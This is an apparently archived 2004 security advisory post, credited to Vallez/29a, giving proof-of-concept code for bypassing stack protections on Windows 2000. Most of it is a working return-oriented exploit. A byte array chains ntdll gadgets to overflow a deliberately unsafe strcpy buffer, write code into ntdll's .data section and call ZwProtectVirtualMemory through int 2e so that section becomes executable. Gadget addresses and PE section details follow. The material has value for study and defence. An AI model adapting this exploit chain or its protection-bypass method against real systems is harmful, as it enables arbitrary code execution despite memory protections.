[EXPL] Avoiding Stackguard and Other Stack Protection - Proof of Concept Code

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Date: 10/20/04

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Date: 20 Oct 2004 18:53:43 +0200

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Avoiding Stackguard and Other Stack Protection - Proof of Concept Code
------------------------------------------------------------------------

SUMMARY

We all heard about stack protections. Software security products protect
stacks from code execution and new hardware will not let you execute code
in a non executable memory region (amd64 for example).

However, writing shellcodes to avoid this protection is not very complex,
as the small example below will show.

DETAILS

The idea in this example is to use pieces of code from existing dlls. In
this code pieces of ntdll were used for this purpose. How? Easy, with the
stack overflow we will leave in the stack ret addresses for conduction our
thread to code in ntdll.dll.
Specifically we use these codes in ntdll:
-------------------------------------------------------------------------------------------
78462FDF: AB stosd
78462FE0: 5F pop edi
78462FE1: C20400 retn 00004
-------------------------------------------------------------------------------------------
784635EC: 8BC6 mov eax,esi
784635EE: 5F pop edi
784635EF: 5E pop esi
784635F0: C3 retn
-------------------------------------------------------------------------------------------
7849DA92: 0FC8 bswap eax
7849DA94: C3 retn
-------------------------------------------------------------------------------------------
784680DA: CD2E int 02E
784680DC: C3 retn
-------------------------------------------------------------------------------------------
784AFAAD: pop eax
retn
-------------------------------------------------------------------------------------------
7846BBE8: pop ecx
retn
-------------------------------------------------------------------------------------------
784633AF: sub eax,ecx
sar eax,1
dec eax
retn
-------------------------------------------------------------------------------------------
78466b22: sub eax,ecx
pop edi
pop esi
pop ebx
retn c
-------------------------------------------------------------------------------------------
78499442: pop edx
retn

-------------------------------------------------------------------------------------------

Proof of Concept Code:
/*
This sample will work with ntdll Version: 5.0.2195.6899. The code should
be compiled with
visual studio 6.0 in debug and default options for the project.
(really,only open the
c with visual studio and F7,and yes,yes...
*/

#include <stdio.h>

#define DEBUGZ

#ifdef DEBUGZ

/*
for debugging we have activated DEBUGZ for giving the shellcode directly
to
func(), but this shellcode could go perfectly as argv[1]

char exploit[]=
{
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a','a','a','a','a',
'a','a','a','a','a','a',
0xad,0xfa,0x4a,0x78,//here we are overwriting ret eip func() goto pop
eax/retn
0x90,0x90,0x90,0x90,//this nops are part of the code that we will dump to
data of ntdll eax = 0x90909090
0xe0,0x2f,0x46,0x78,//goto pop edi/retn4
0x21,0x21,0x4b,0x78,//edi = 0x78462121
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
'a','a','a','a', //trash for retn4
0x21+4,0x21,0x4b,0x78,//next part of ntdll .data where we will write our
code
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
'a','a','a','a',
0x90,0x90,0x90,0x90,//this nops are part of the code that we will dump to
data of ntdll
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
0x21+8,0x21,0x4b,0x78,//next part of ntdll .data where we will write our
code
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
'a','a','a','a',
0x90,0x90,0x90,0xcc,//this nops are part of the code that we will dump to
data of ntdll
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
//start with parameters
//now we should give execution access to .data with
//ZwVirtualProtectMemory(0xFFFFFFFF,0x784b2121,0x000000ff,0x00000040,0x784b2121+0x70);
0x21+0x30,0x21,0x4b,0x78,//next part of ntdll .data where we will write
our code
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
'a','a','a','a',
0xFF,0xFF,0xFF,0xFF,//parameters for ZwVirtualProtectMemory. This process,
0xFFFFFFFF.
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
0x21+0x34,0x21,0x4b,0x78,//next part of ntdll .data where we will write
our code
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
'a','a','a','a',
0x21+0x58,0x21,0x4b,0x78,//parameters for ZwVirtualProtectMemory. addr of
variable keeping addr of mem
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
0x21+0x58,0x21,0x4b,0x78,//we must write here the addr of memory that we
want to do executable
0xad,0xfa,0x4a,0x78, //goto pop eax = 0x784b2121
'a','a','a','a', //trash for retn 4
0x21,0x21,0x4b,0x78, //for poping to eax
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
'a','a','a','a', //trash for edi

//the next parameter has zeros, so we cant have it in shellcode.We will
get in eax=0x00000040

0xad,0xfa,0x4a,0x78, //goto pop eax = 0xffffffff
'a','a','a','a', //trash for retn 4
0xff,0xff,0xff,0xff,
0xe8,0xbb,0x46,0x78, //goto pop ecx = 0xffffffbf
0xff,0xff,0xff,0xbf,
0x22,0x6b,0x46,0x78, //goto sub eax,ecx / pop edi / pop esi / pop ebx
/retn c
0x21+0x3c,0x21,0x4b,0x78,//other addr in .data
'a','a','a','a',
'a','a','a','a',
0x92,0xDA,0x49,0x78,//goto bswap eax,retn
'a','a','a','a',
'a','a','a','a',
'a','a','a','a',
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
//eax=0x00000040 edi=next addr we will write 0x40,flags
0x21+0x54,0x21,0x4b,0x78,//other addr in .data
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
'a','a','a','a',
0x21+0x40,0x21,0x4b,0x78,//next part of ntdll .data where we will write
params
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
'a','a','a','a',
0x21+0x50,0x21,0x4b,0x78,//old protect returned as IO param in
ZwVirtualProtectMemory
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
0x21+0x38,0x21,0x4b,0x78,//other part to write,in this case the addr of
the variable storing size for api
0xad,0xfa,0x4a,0x78,//goto pop eax/retn
'a','a','a','a',
0x21+0x54,0x21,0x4b,0x78,//addr where size is stored,poped with pop eax
0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
'a','a','a','a',//trash for poping to edi

//now we must call int 2e with eax=0x77 and edx=0x784b2151

0xad,0xfa,0x4a,0x78, //goto pop eax = 0xffffffff
'a','a','a','a', //trash
0xff,0xff,0xff,0xff,
0xe8,0xbb,0x46,0x78, //goto pop ecx = 0xffffff88
0xff,0xff,0xff,0x88,
0x22,0x6b,0x46,0x78, //goto sub eax,ecx / pop edi / pop esi / pop ebx
/retn c
'a','a','a','a',
'a','a','a','a',
'a','a','a','a',
0x42,0x94,0x49,0x78,//goto pop edx,retn
'a','a','a','a',
'a','a','a','a',
'a','a','a','a',
0x21+0x30,0x21,0x4b,0x78, //pop to edx address of params for
ZwVirtualProtectMemory
0x92,0xDA,0x49,0x78,//goto bswap eax,retn
//eax=0x77(service id) edx->params
0xDA,0x80,0x46,0x78, //goto int 2e,retn

0x21,0x21,0x4b,0x78, //we have copied all the code that we need,so we jump
that code in .data of ntdll.

};
char * pexploit[2] = {exploit,exploit};
#endif

void func(int argc,char ** argv)
{
char buffer[30];

    if(argc>1)
    {
        strcpy(buffer,argv[1]);
    }
}

void main(int argc,char ** argv)
{

#ifndef DEBUGZ
func(argc,argv);
#else
func(argc,pexploit);
#endif
}

How it Works:
This is a example of a possible shellcode for Microsoft Windows with
ntdll.dll version: 5.0.2195.6899. It is only a Proof of concept about how
shellcodes could avoid stack protections. This shellcode is not executed
in the stack, however it uses the stack to save useful values for
conducting the thread to ntdll code and forcing this code to write
executable code to ntdll's .data section.
In the near future we might see all non executable memory protected
against execution, so we can call ZwProtectVirtualMemory to mark the part
of the .data segment where we wrote our code as executable. For this
purpose we will dump parameters of the api to another part of .data and
then pointing edx to that parameters and calling int 2e with eax=0x77, the
service id.

Parts of ntdll:
-------------------------------------------------------------------------------------------
78462FDF: AB stosd
78462FE0: 5F pop edi
78462FE1: C20400 retn 00004
-------------------------------------------------------------------------------------------
784635EC: 8BC6 mov eax,esi
784635EE: 5F pop edi
784635EF: 5E pop esi
784635F0: C3 retn
-------------------------------------------------------------------------------------------
7849DA92: 0FC8 bswap eax
7849DA94: C3 retn
-------------------------------------------------------------------------------------------
784680DA: CD2E int 02E
784680DC: C3 retn
-------------------------------------------------------------------------------------------
784AFAAD: pop eax
retn
-------------------------------------------------------------------------------------------
7846BBE8: pop ecx
retn
-------------------------------------------------------------------------------------------
784633AF: sub eax,ecx
sar eax,1
dec eax
retn
-------------------------------------------------------------------------------------------
78466b22: sub eax,ecx
pop edi
pop esi
pop ebx
retn c
-------------------------------------------------------------------------------------------
78499442: pop edx
retn
-------------------------------------------------------------------------------------------
data(ntdll.dll) 784b0000 --- For copying the code there.

Number Name VirtSize RVA PhysSize Offset Flag-
1 .text 00045CAB 00001000 00045E00 00000400 60000020
2 ECODE 00004371 00047000 00004400 00046200 60000020
3 PAGE 00003FEB 0004C000 00004000 0004A600 60000020
4 .data 00002D84 00050000 00002200 0004E600 C0000040
5 .rsrc 0002D000 00053000 0002C400 00050800 40000040
6 .reloc 00002010 00080000 00002200 0007CC00 42000040
-------------------------------------------------------------------------------------------

Info of the exploited ntdll:
Version: 5.0.2195.6899

Count of sections 6 ?? Machine intel386
Symbol table 00000000[00000000] ?? Wed Mar 24 03:17:14 2004
Size of optional header 00E0 ?? Magic optional header 010B
Linker version 5.12 ?? OS version 5.00
Image version 5.00 ?? Subsystem version 4.00
Entry point 00000000 ?? Size of code 0004E200
Size of init data 00030800 ?? Size of uninit data 00000000
Size of image 00083000 ?? Size of header 00000400
Base of code 00001000 ?? Base of data 0004E000
Image base 78460000 ?? Subsystem Windows char
Section alignment 00001000 ?? File alignment 00000200
Stack 00040000/00001000 ?? Heap 00100000/00001000
Checksum 00082A23 ?? Number of directories 16

ADDITIONAL INFORMATION

The information has been provided by <mailto:vallez@gmail.com>
Vallez/29a.

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